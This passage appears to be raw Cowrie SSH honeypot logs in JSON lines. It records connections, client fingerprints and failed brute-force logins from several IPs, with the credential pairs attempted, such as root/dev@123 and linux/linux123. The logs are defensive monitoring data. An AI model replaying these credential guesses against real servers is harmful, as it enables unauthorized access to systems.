message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:00.035824Z","src_ip":"95.58.255.251","session":"76a9bfcabc76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dotnet","message":"login attempt [root/dotnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:00.747506Z","src_ip":"95.58.255.251","session":"76a9bfcabc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:01.925333Z","src_ip":"95.58.255.251","session":"76a9bfcabc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":53150,"dst_ip":"159.203.135.109","dst_port":22,"session":"20519e7b739d","protocol":"ssh","message":"New connection: 200.108.174.4:53150 (159.203.135.109:22) [session: 20519e7b739d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:05.307047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:05.311873Z","src_ip":"200.108.174.4","session":"20519e7b739d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:05.457196Z","src_ip":"200.108.174.4","session":"20519e7b739d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:06.072089Z","src_ip":"200.108.174.4","session":"20519e7b739d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:07.222012Z","src_ip":"200.108.174.4","session":"20519e7b739d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":56794,"dst_ip":"10.17.0.5","dst_port":22,"session":"92afa9f24955","protocol":"ssh","message":"New connection: 43.162.109.147:56794 (10.17.0.5:22) [session: 92afa9f24955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:49.952961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:49.957648Z","src_ip":"43.162.109.147","session":"92afa9f24955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:50.025940Z","src_ip":"43.162.109.147","session":"92afa9f24955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dev@123","message":"login attempt [root/dev@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:50.330986Z","src_ip":"43.162.109.147","session":"92afa9f24955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:07:51.402455Z","src_ip":"43.162.109.147","session":"92afa9f24955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.111.13","src_port":36858,"dst_ip":"159.203.135.109","dst_port":22,"session":"dffabf36f4f6","protocol":"ssh","message":"New connection: 14.103.111.13:36858 (159.203.135.109:22) [session: dffabf36f4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:04.266171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:05.171185Z","src_ip":"14.103.111.13","session":"dffabf36f4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:05.175426Z","src_ip":"14.103.111.13","session":"dffabf36f4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":60262,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cb06356091f","protocol":"ssh","message":"New connection: 192.169.243.246:60262 (159.203.135.109:22) [session: 7cb06356091f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:07.170376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:07.175208Z","src_ip":"192.169.243.246","session":"7cb06356091f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:07.246959Z","src_ip":"192.169.243.246","session":"7cb06356091f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:07.587440Z","src_ip":"192.169.243.246","session":"7cb06356091f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:08.663208Z","src_ip":"192.169.243.246","session":"7cb06356091f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":51084,"dst_ip":"10.17.0.5","dst_port":22,"session":"57269253fdd1","protocol":"ssh","message":"New connection: 144.91.86.102:51084 (10.17.0.5:22) [session: 57269253fdd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:15.430503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:15.438791Z","src_ip":"144.91.86.102","session":"57269253fdd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:15.531525Z","src_ip":"144.91.86.102","session":"57269253fdd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gfhjkm12","message":"login attempt [root/Gfhjkm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:15.933410Z","src_ip":"144.91.86.102","session":"57269253fdd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:17.030470Z","src_ip":"144.91.86.102","session":"57269253fdd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":56242,"dst_ip":"10.17.0.5","dst_port":22,"session":"953cbf01d7b9","protocol":"ssh","message":"New connection: 95.58.255.251:56242 (10.17.0.5:22) [session: 953cbf01d7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:17.035103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:17.039786Z","src_ip":"95.58.255.251","session":"953cbf01d7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:17.211843Z","src_ip":"95.58.255.251","session":"953cbf01d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benny123","message":"login attempt [root/benny123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:17.929098Z","src_ip":"95.58.255.251","session":"953cbf01d7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:19.104735Z","src_ip":"95.58.255.251","session":"953cbf01d7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":41850,"dst_ip":"10.17.0.5","dst_port":22,"session":"123b131510b3","protocol":"ssh","message":"New connection: 43.162.109.147:41850 (10.17.0.5:22) [session: 123b131510b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:59.693481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:59.698172Z","src_ip":"43.162.109.147","session":"123b131510b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:08:59.766272Z","src_ip":"43.162.109.147","session":"123b131510b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmod123","message":"login attempt [root/gmod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:00.072283Z","src_ip":"43.162.109.147","session":"123b131510b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:01.144688Z","src_ip":"43.162.109.147","session":"123b131510b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":59558,"dst_ip":"159.203.135.109","dst_port":22,"session":"647f87f338c7","protocol":"ssh","message":"New connection: 192.169.243.246:59558 (159.203.135.109:22) [session: 647f87f338c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:25.751407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:25.757305Z","src_ip":"192.169.243.246","session":"647f87f338c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:25.830082Z","src_ip":"192.169.243.246","session":"647f87f338c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"taiga1","message":"login attempt [root/taiga1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:26.148747Z","src_ip":"192.169.243.246","session":"647f87f338c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:27.223931Z","src_ip":"192.169.243.246","session":"647f87f338c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":45998,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f22e2ee47fb","protocol":"ssh","message":"New connection: 95.58.255.251:45998 (10.17.0.5:22) [session: 9f22e2ee47fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:31.500453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:09:31.505606Z","src_ip":"95.58.255.251","session":"9f22e2ee47fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3